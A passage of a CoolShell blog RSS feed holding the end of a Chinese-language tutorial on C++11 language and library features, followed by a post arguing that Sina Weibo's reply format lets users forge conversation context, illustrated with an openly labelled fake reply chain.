class=\"color-programming\">那么，除了方便外，为什么一定要使用Lambda呢？它比传统的函数或是函数对象有什么好处呢？我个人所理解的是，这种函数之年以叫“闭包”，就是因为其限制了别人的访问，更私有。也可以认为他是一次性的方法。Lambda表达式应该是简洁的，极私有的，为了更易的代码和更方便的编程。</p>\n<h4 class=\"color-programming\">自动类型推导 auto</h4>\n<p>在这一节中，原文主要介绍了两个关键字 auto 和 deltype，示例如下：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">auto x=0; //x has type int because 0 is int\nauto c=&#039;a&#039;; //char\nauto d=0.5; //double\nauto national_debt=14400000000000LL;//long long</pre>\n<p>auto 最大的好处就是让代码简洁，尤其是那些模板类的声明，比如：STL中的容器的迭代子类型。</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">vector&lt;int&gt;::const_iterator ci = vi.begin();</code></p>\n<p>可以变成：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">auto ci = vi.begin();</code></p>\n<p>模板这个特性让C++的代码变得很难读，不信你可以看看STL的源码，那是一个乱啊。使用auto必需一个初始化值，编译器可以通过这个初始化值推导出类型。因为auto是来简化模板类引入的代码难读的问题，如上面的示例，iteration这种类型就最适合用auto的，但是，我们不应该把其滥用。</p>\n<p>比如下面的代码的可读性就降低了。因为，我不知道ProcessData返回什么？int? bool? 还是对象？或是别的什么？这让你后面的程序不知道怎么做。</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">auto obj = ProcessData(someVariables);</code></p>\n<p>但是下面的程序就没有问题，因为pObject的型别在后面的new中有了。</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">auto pObject = new SomeType&lt;OtherType&gt;::SomeOtherType();</code></p>\n<h4>自动化推导 decltype</h4>\n<p>关于 <code>decltype</code> 是一个操作符，其可以评估括号内表达式的类型，其规则如下：</p>\n<ol>\n<li>如果表达式e是一个变量，那么就是这个变量的类型。</li>\n<li>如果表达式e是一个函数，那么就是这个函数返回值的类型。</li>\n<li>如果不符合1和2，如果e是左值，类型为T，那么decltype(e)是T&amp;；如果是右值，则是T。</li>\n</ol>\n<p>原文给出的示例如下，我们可以看到，这个让的确我们的定义变量省了很多事。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">const vector&lt;int&gt; vi;\ntypedef decltype (vi.begin()) CIT;\nCIT another_const_iterator;</pre>\n<p>还有一个适合的用法是用来typedef函数指针，也会省很多事。比如：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\"> decltype(&amp;myfunc) pfunc = 0;\n\ntypedef decltype(&amp;A::func1) type;</pre>\n<h4>auto 和 decltype 的差别和关系</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/C%2B%2B0x#Type_inference\" rel=\"nofollow\" target=\"_blank\">Wikipedia 上是这么说的</a>（关于decltype的规则见上）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;vector&gt;\n\nint main()\n{\n    const std::vector&lt;int&gt; v(1);\n    auto a = v[0];        // a 的类型是 int\n    decltype(v[0]) b = 1; // b 的类型是 const int&amp;, 因为函数的返回类型是\n                          // std::vector&lt;int&gt;::operator[](size_type) const\n    auto c = 0;           // c 的类型是 int\n    auto d = c;           // d 的类型是 int\n    decltype(c) e;        // e 的类型是 int, 因为 c 的类型是int\n    decltype((c)) f = c;  // f 的类型是 int&amp;, 因为 (c) 是左值\n    decltype(0) g;        // g 的类型是 int, 因为 0 是右值\n}\n</pre>\n<p>如果auto 和 decltype 在一起使用会是什么样子？能看下面的示例，下面这个示例也是引入decltype的一个原因——让C++有能力写一个 “ <a title=\"Wrapper function\" href=\"http://en.wikipedia.org/wiki/Wrapper_function\">forwarding function</a> 模板”，</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\ntemplate&lt; typename LHS, typename RHS&gt;\n  auto AddingFunc(const LHS &amp;lhs, const RHS &amp;rhs) -&gt; decltype(lhs+rhs)\n{return lhs + rhs;}\n</pre>\n<p>这个函数模板看起来相当费解，其用到了auto 和 decltype 来扩展了已有的模板技术的不足。怎么个不足呢？在上例中，我不知道AddingFunc会接收什么样类型的对象，这两个对象的 + 操作符返回的类型也不知道，老的模板函数无法定义AddingFunc返回值和这两个对象相加后的返回值匹配，所以，你可以使用上述的这种定义。</p>\n<h4 class=\"color-programming\">统一的初始化语法</h4>\n<p>C/C++的初始化的方法比较，C++ 11 用大括号统一了这些初始化的方法。</p>\n<p>比如：POD的类型。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int arr[4]={0,1,2,3};\nstruct tm today={0};</pre>\n<p>关于POD相说两句，所谓POD就是<a href=\"http://en.wikipedia.org/wiki/Plain_Old_Data_Structures\" target=\"_blank\">Plain Old Data</a>，当class/struct是<em>极简的(trivial)</em>、属于<em>标准布局(standard-layout)</em>，以及他的所有非静态（non-static）成员都是POD时，会被视为POD。如：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct A { int m; }; // POD\nstruct B { ~B(); int m; }; // non-POD, compiler generated default ctor\nstruct C { C() : m() {}; ~C(); int m; }; // non-POD, default-initialising m</pre>\n<p>POD的初始化有点怪，比如上例，new A; 和new A(); 是不一样的，对于其内部的m，前者没有被初始化，后者被初始化了（不同 的编译器行为不一样，VC++和GCC不一样）。而非POD的初始化，则都会被初始化。</p>\n<p>从这点可以看出，C/C++的初始化问题很奇怪，所以，在C++ 2011版中就做了统一。原文作者给出了如下的示例：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nC c {0,0}; //C++11 only. 相当于: C c(0,0);\n\nint* a = new int[3] { 1, 2, 0 }; /C++11 only\n\nclass X {\n    int a[4];\n    public:\n        X() : a{1,2,3,4} {} //C++11, member array initializer\n};</pre>\n<p>容器的初始化：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">// C++11 container initializer\nvector&lt;string&gt; vs={ &quot;first&quot;, &quot;second&quot;, &quot;third&quot;};\nmap singers =\n{ {&quot;Lady Gaga&quot;, &quot;+1 (212) 555-7890&quot;},\n{&quot;Beyonce Knowles&quot;, &quot;+1 (212) 555-0987&quot;}};</pre>\n<p>还支持像Java一样的成员初始化：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">class C\n{\n   int a=7; //C++11 only\n public:\n   C();\n};</pre>\n<h4 class=\"color-programming\">Delete 和 Default 函数</h4>\n<p>我们知道C++的编译器在你没有定义某些成员函数的时候会给你的类自动生成这些函数，比如，构造函数，拷贝构造，析构函数，赋值函数。有些时候，我们不想要这些函数，比如，构造函数，因为我们想做实现单例模式。传统的做法是将其声明成private类型。</p>\n<p>在新的C++中引入了两个指示符，delete意为告诉编译器不自动产生这个函数，default告诉编译器产生一个默认的。原文给出了下面两个例子：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct A\n{\n    A()=default; //C++11\n    virtual ~A()=default; //C++11\n};</pre>\n<p>再如delete</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct NoCopy\n{\n    NoCopy &amp; operator =( const NoCopy &amp; ) = delete;\n    NoCopy ( const NoCopy &amp; ) = delete;\n};\nNoCopy a;\nNoCopy b(a); //compilation error, copy ctor is deleted</pre>\n<p>这里，我想说一下，为什么我们需要default？我什么都不写不就是default吗？不全然是，比如构造函数，因为只要你定义了一个构造函数，编译器就不会给你生成一个默认的了。所以，为了要让默认的和自定义的共存，才引入这个参数，如下例所示：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct SomeType\n{\n SomeType() = default; // 使用编译器生成的默认构造函数\n SomeType(OtherType value);\n};</pre>\n<p>关于delete还有两个有用的地方是</p>\n<p>1）让你的对象只能生成在栈内存上：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct NonNewable {\n    void *operator new(std::size_t) = delete;\n};</pre>\n<p>2）阻止函数的其形参的类型调用：（若尝试以 double 的形参调用 <code>f()</code>，将会引发编译期错误， 编译器不会自动将 double 形参转型为 int 再调用<code>f()</code>，如果传入的参数是double，则会出现编译错误）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">void f(int i);\n void f(double) = delete;</pre>\n<h4 class=\"color-programming\">nullptr</h4>\n<p>C/C++的NULL宏是个被有很多潜在BUG的宏。因为有的库把其定义成整数0，有的定义成 (void*)0。在C的时代还好。但是在C++的时代，这就会引发很多问题。你可以上网看看。这是为什么需要 <code>nullptr</code> 的原因。 <code>nullptr</code> 是强类型的。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">void f(int); //#1\nvoid f(char *);//#2\n//C++03\nf(0); //二义性\n//C++11\nf(nullptr) //无二义性，调用f(char*)</pre>\n<p><code>所以在新版中请以 nullptr</code> 初始化指针。</p>\n<h4 class=\"color-programming\">委托构造</h4>\n<p>在以前的C++中，构造函数之间不能互相调用，所以，我们在写这些相似的构造函数里，我们会把相同的代码放到一个私有的成员函数中。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">class SomeType {\nprivate:\n  int number;\n  string name;\n  SomeType( int i, string&amp;amp; s ) : number(i), name(s){}\npublic:\n  SomeType( )               : SomeType( 0, &quot;invalid&quot; ){}\n  SomeType( int i )         : SomeType( i, &quot;guest&quot; ){}\n  SomeType( string&amp;amp; s ) : SomeType( 1, s ){ PostInit(); }\n};</pre>\n<p>但是，为了方便并不足让“委托构造”这个事出现，最主要的问题是，基类的构造不能直接成为派生类的构造，就算是基类的构造函数够了，派生类还要自己写自己的构造函数：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">class BaseClass\n{\npublic:\n  BaseClass(int iValue);\n};\n\nclass DerivedClass : public BaseClass\n{\npublic:\n  using BaseClass::BaseClass;\n};</pre>\n<p>上例中，派生类手动继承基类的构造函数， 编译器可以使用基类的构造函数完成派生类的构造。 而将基类的构造函数带入派生类的动作 无法选择性地部分带入， 所以，要不就是继承基类全部的构造函数，要不就是一个都不继承(不手动带入)。 此外，若牵涉到多重继承，从多个基类继承而来的构造函数不可以有相同的函数签名(signature)。 而派生类的新加入的构造函数也不可以和继承而来的基类构造函数有相同的函数签名，因为这相当于重复声明。（所谓函数签名就是函数的参数类型和顺序不）</p>\n<h4 class=\"color-programming\">右值引用和move语义</h4>\n<p>在老版的C++中，临时性变量（称为右值&#8221;R-values&#8221;，位于赋值操作符之右）经常用作交换两个变量。比如下面的示例中的tmp变量。示例中的那个函数需要传递两个string的引用，但是在交换的过程中产生了对象的构造，内存的分配还有对象的拷贝构造等等动作，成本比较高。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">void naiveswap(string &amp;amp;a, string &amp;amp;b)\n{\n string temp = a;\n a=b;\n b=temp;\n}</pre>\n<p>C++ 11增加一个新的引用（reference）类型称作右值引用（R-value reference），标记为<tt>typename &amp;&amp;</tt>。他们能够以non-const值的方式传入，允许对象去改动他们。这项修正允许特定对象创造出move语义。</p>\n<p>举例而言，上面那个例子中，string类中保存了一个动态内存分存的char*指针，如果一个string对象发生拷贝构造（如：函数返回），string类里的char*内存只能通过创建一个新的临时对象，并把函数内的对象的内存copy到这个新的对象中，然后销毁临时对象及其内存。<strong>这是原来C++性能上重点被批评的事</strong>。</p>\n<p>能过右值引用，string的构造函数需要改成“move构造函数”，如下所示。这样一来，使得对某个<span style=\"font-family: monospace;\">stirng</span>的右值引用可以单纯地从右值复制其内部C-style的指针到新的string，然后留下空的右值。这个操作不需要内存数组的复制，而且空的暂时对象的析构也不会释放内存。其更有效率。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">class string\n{\n    string (string&amp;&amp;); //move constructor\n    string&amp;&amp; operator=(string&amp;&amp;); //move assignment operator\n};</pre>\n<p>The C++11 STL中广泛地使用了右值引用和move语议。因此，很多算法和容器的性能都被优化了。</p>\n<h4 class=\"color-programming\">C++ 11 STL 标准库</h4>\n<p>C++ STL库在2003年经历了很大的整容手术 <a href=\"http://www.devsource.com/c/a/Languages/Grok-The-New-Features-in-Standard-C/\">Library Technical Report 1</a> (TR1)。 TR1 中出现了很多新的容器类 (<code>unordered_set</code>, <code>unordered_map</code>, <code>unordered_multiset</code>, 和 <code>unordered_multimap</code>) 以及一些新的库支持诸如：正则表达式， tuples，函数对象包装，等等。 C++11 批准了 TR1 成为正式的C++标准，还有一些TR1 后新加的一些库，从而成为了新的C++ 11 STL标准库。这个库主要包含下面的功能：</p>\n<h5 class=\"color-programming\">线程库</h5>\n<p>这们就不多说了，以前的STL饱受线程安全的批评。现在好 了。C++ 11 支持线程类了。这将涉及两个部分：第一、设计一个可以使多个线程在一个进程中共存的内存模型；第二、为线程之间的交互提供支持。第二部分将由程序库提供支持。大家可以看看<a href=\"http://en.wikipedia.org/wiki/Futures_and_promises\" target=\"_blank\">promises and futures</a>，其用于对象的同步。 <a href=\"http://www.stdthread.co.uk/doc/headers/future/async.html\">async()</a> 函数模板用于发起并发任务，而 <a href=\"http://www.devx.com/cplus/10MinuteSolution/37436\">thread_local</a> 为线程内的数据指定存储类型。更多的东西，可以查看 Anthony Williams的 <a href=\"http://www.devx.com/SpecialReports/Article/38883\">Simpler Multithreading in C++0x</a>.</p>\n<h5 class=\"color-programming\">新型智能指针</h5>\n<p>C++98 的知能指针是 <code>auto_ptr， 在C++ 11中被废弃了。</code>C++11  引入了两个指针类： <a href=\"http://www.informit.com/guides/content.aspx?g=cplusplus&amp;seqNum=239\">shared_ptr</a> 和 <a href=\"http://www.informit.com/guides/content.aspx?g=cplusplus&amp;seqNum=400\">unique_ptr</a>。 shared_ptr只是单纯的引用计数指针，<code>unique_ptr 是用来取代<code>auto_ptr</code></code>。 <code>unique_ptr</code> 提供 <code>auto_ptr</code> 大部份特性，唯一的例外是 <code>auto_ptr</code> 的不安全、隐性的左值搬移。不像 <code>auto_ptr</code>，<code>unique_ptr</code> 可以存放在 C++0x 提出的那些能察觉搬移动作的容器之中。</p>\n<p>为什么要这么干？大家可以看看《More Effective C++》中对 auto_ptr的讨论。</p>\n<h5 class=\"color-programming\">新的算法</h5>\n<p>定义了一些新的算法： <code>all_of()</code>, <code>any_of()</code> 和 <code>none_of()。</code></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &amp;lt;algorithm&amp;gt;\n//C++11 code\n//are all of the elements positive?\nall_of(first, first+n, ispositive()); //false\n//is there at least one positive element?\nany_of(first, first+n, ispositive());//true\n// are none of the elements positive?\nnone_of(first, first+n, ispositive()); //false</pre>\n<p>使用新的copy_n()算法，你可以很方便地拷贝数组。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &amp;lt;algorithm&amp;gt;\nint source[5]={0,12,34,50,80};\nint target[5];\n//copy 5 elements from source to target\ncopy_n(source,5,target);</pre>\n<p>使用 <code>iota()</code> 可以用来创建递增的数列。如下例所示：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">include &amp;lt;numeric&amp;gt;\nint a[5]={0};\nchar c[3]={0};\niota(a, a+5, 10); //changes a to {10,11,12,13,14}\niota(c, c+3, &#039;a&#039;); //{&#039;a&#039;,&#039;b&#039;,&#039;c&#039;} </pre>\n<p>总之，看下来，C++11 还是很学院派，很多实用的东西还是没有，比如： XML，sockets，reflection，当然还有垃圾回收。看来要等到C++ 20了。呵呵。不过C++ 11在性能上还是很快。参看 Google&#8217;s <a href=\"http://www.itproportal.com/2011/06/07/googles-rates-c-most-complex-highest-performing-language/\">benchmark tests</a>。原文还引用Stroustrup 的观点：C++11 是一门新的语言——一个更好的 C++。</p>\n<p>如果把所有的改变都列出来，你会发现真多啊。我估计C++ Primer那本书的厚度要增加至少30%以上。C++的门槛会不会越来越高了呢？我不知道，但我个人觉得这门语言的确是变得越来越令人望而却步了。（想起了某人和我说的一句话——学技术真的是太累了，还是搞方法论好混些？）</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5265.html\">C++11 中值得关注的几大变化（详解）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5265.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>91</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>国内微博和Twitter的最大不同</title>\n\t\t<link>https://coolshell.cn/articles/5247.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5247.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 17 Aug 2011 00:34:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Sina]]></category>\n\t\t<category><![CDATA[Twitter]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[Weibo]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5247</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>霍炬近两个月前写过一篇《microblogging和微博信息架构产品差距和影响》分析了国内微博和Twitter的差距，重点就是因为信息的平等性。我也一直在观察新...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5247.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5247.html\">国内微博和Twitter的最大不同</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>霍炬近两个月前写过一篇《<a href=\"http://blog.devep.net/virushuo/2011/06/26/microblogging.html\">microblogging和微博信息架构产品差距和影响</a>》分析了国内微博和Twitter的差距，重点就是因为信息的平等性。我也一直在观察新浪微博，以及新浪和Twitter的一些功能上的差别。发现了一些东西，想在这里和大家分享一下。我的见解达不到像霍炬那样的层次，作为一个技术人员，我只能在产品功能上做些分析。欢迎大家指正。</p>\n<h4>现实状况</h4>\n<p>国内的微博就是新浪，Sohu微博，腾讯微博，以及饭否。我们不难发现：</p>\n<ul>\n<li>搜狐的和腾讯的就是Copy新浪的。在Following和Followed上大家都有自己所谓的“创新”</li>\n<li>饭否是在Copy Twitter，这点太明显了，不过，抄在了表面，而且相当的怪。</li>\n</ul>\n<p>国内所有的这些以Twitter为蓝本干出来的这些东西，其和Twitter在核心功能上有这些差别：</p>\n<ul>\n<li>Twitter的Retweet一点信息都加不上，国内的微博的转发需要加上自己的评论，也就形自己的信息。</li>\n<li>Twitter的Reply只会有一个@原来的人，国内的Reply也很相似，只是勾上转发后就会把Reply的东西以“<strong>//@XXX</strong>”的方式成为自己的信息。</li>\n<li>饭否的做法比较怪，转发加原文（想做成新浪的样子），回复不加原文，只有@（Twitter）的样子，可见饭否的分裂。</li>\n</ul>\n<h4>SNS中的上下文</h4>\n<p>这段时间，我一直在想，新浪为什么要做成这样，为什么不做成Twitter那样，或者，为什么Twitter做成那样而不是新浪这样？从表面上看上去，<strong>新浪的“<span style=\"color: #800000;\">回复+转发</span>”会带被回的信息，而Twitter的回复不带上下文，Twitter上一些我fo的人的话题完全看不懂，不像新浪的还能看到上文</strong>。</p>\n<p>老实说，在一开始，我还觉得新浪微博这种用法和技术上要比 Twitter 要强大，现在看来是我当时对Twitter并不熟悉。经过这段时间的观察。<strong>我恰恰发现新浪在转发和回复上都要带上原文其实是一件很没有技术含量的事</strong>。要说清这个事，请让我说一下评论和回复的事。</p>\n<p><span id=\"more-5247\"></span></p>\n<ul>\n<li>我们网上讨论一个事的时候，你会发现，一个主题下的讨论会对回复的话题进行讨论而偏题，甚至会发散出多条讨论线各自发展。这种事会造成讨论的混乱。所以，上下文是关键。</li>\n<li>BBS和Wordpress可以使用“引用”或“回复”来让你的话题有上下文。新浪的博客和新闻评论里没有，只是网易的评论可以盖楼。所以新浪微博基本上采用的就是这样的方式。</li>\n</ul>\n<p>然而，Twitter则不是，Twitter的回复系统是不会像新浪那样加上“<strong>//@XXX</strong>”的东西的，如果你要看信息的上下文，你需要点击信息，在右边栏会出现其上下文列表。<strong>Twitter的这个功能可以让你很容易地找到一个信息链，而不受别的信息链的干扰，不像国内微博那样——多个信息链穿插成一锅粥让你无法阅读</strong>（饭否是抄Twitter抄的最像的，但是其没有实现这个功能）。</p>\n<h4>上下文造假</h4>\n<p>国内的所有微博都做不到这个事，我估计是因为技术不行。所以，为了加上上下文，他们只能做成今天你看到的这个样子。你也许会想和我争论，这样在阅读体验上更好。但是，如果你看过下面这个例子，你一定就不会这么想了。</p>\n<p>在新浪微博上，我们转发或是回复时，我们可以人为地加上这样的上下文（说白了，就是造假）：</p>\n<blockquote><p>//<a href=\"http://weibo.com/yaochen\" target=\"_blank\">@姚晨</a>：八顿也会C语言。//<a href=\"http://weibo.com/renzhiqiang\" target=\"_blank\">@任志强</a>：不是C++才牛吗？ //<a href=\"http://blog.sina.com.cn/lichengpeng\" target=\"_blank\">@李承鹏</a>：代表盲肠封你为程序员的脊梁。//<a href=\"http://weibo.com/1739928273\" target=\"_blank\">@苍井空</a>：还要爱吃空心菜的菜。 //<a href=\"http://weibo.com/kaifulee\" target=\"_blank\">@李开复</a>：成功的程序员的标志：1）用C语言，2）不用IE6，3）无需敏捷咨询师。</p></blockquote>\n<p>看到这个，你明白为什么Twitter要那样，而不是新浪这样了吧？！<strong>这就是差距，至少是产品经理的差距</strong>。我个人觉得还有技术上的差距。如果某人给你发来的一条手机短信你都搞不清楚是不是这个人说的，那会是多么恐怖的事。</p>\n<p><span style=\"color: #cc0000;\"><strong>有人说，在Twitter上也可以造假，但是这需要用户自己去干，Twitter的系统并不会主动干这个。 Twitter的Retweet和Reply是可以区分用户行为和系统行为（就看你加不加原信息），而新浪微博则无法区系统行为和用户行为，这就是国内微博的软肋！</strong></span></p>\n<h4>其它</h4>\n<p>新浪的东西其实挺没创意的，<a title=\"微软用新浪来当反面教材\" href=\"https://coolshell.cn/articles/3872.html\" target=\"_blank\">微软用新浪在当过反面教材</a>，某WEB设计师也用<a title=\"为什么中国的网页设计那么烂？\" href=\"https://coolshell.cn/articles/3605.html\" target=\"_blank\">新浪来当过反面教材</a>。不过，新浪微博还是很强大的，尤其是删贴和阻止信息传播上，经过观察，的确很强大。</p>\n<p><span style=\"color: #008000;\">我把我这篇文章里的那个欺诈示例转到了我的微博（<a href=\"http://weibo.com/n/%E5%B7%A6%E8%80%B3%E6%9C%B5%E8%80%97%E5%AD%90\"><span style=\"color: #008000;\">@左耳朵耗子</span></a>）做了个测试。结果，在有这篇文章做提示的情况下，还是有些人相信了，还有些人骂我并把我取消关注和拉黑了。我真是服了，我故意造得这么假这么娱乐，结果还是有些人认真了。你说那些骗子看到这个情况岂不是开心之极啊。再次说明新浪微博的这种上下文的方式弊端！</span></p>\n<p>（<strong>转载请注明作者和出处</strong>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4914.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/sina_xss01-150x150.png\" alt=\"新浪微博的XSS攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4914.html\" class=\"wp_rp_title\">新浪微博的XSS攻击</a></li><li ><a href=\"https://coolshell.cn/articles/3872.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/03/affc-image1-150x150.png\" alt=\"微软用新浪来当反面教材\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3872.html\" class=\"wp_rp_title\">微软用新浪来当反面教材</a></li><li ><a href=\"https://coolshell.cn/articles/22367.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-150x150.png\" alt=\"聊聊 nostr 和 审查\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22367.html\" class=\"wp_rp_title\">聊聊 nostr 和 审查</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5247.html\">国内微博和Twitter的最大不同</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 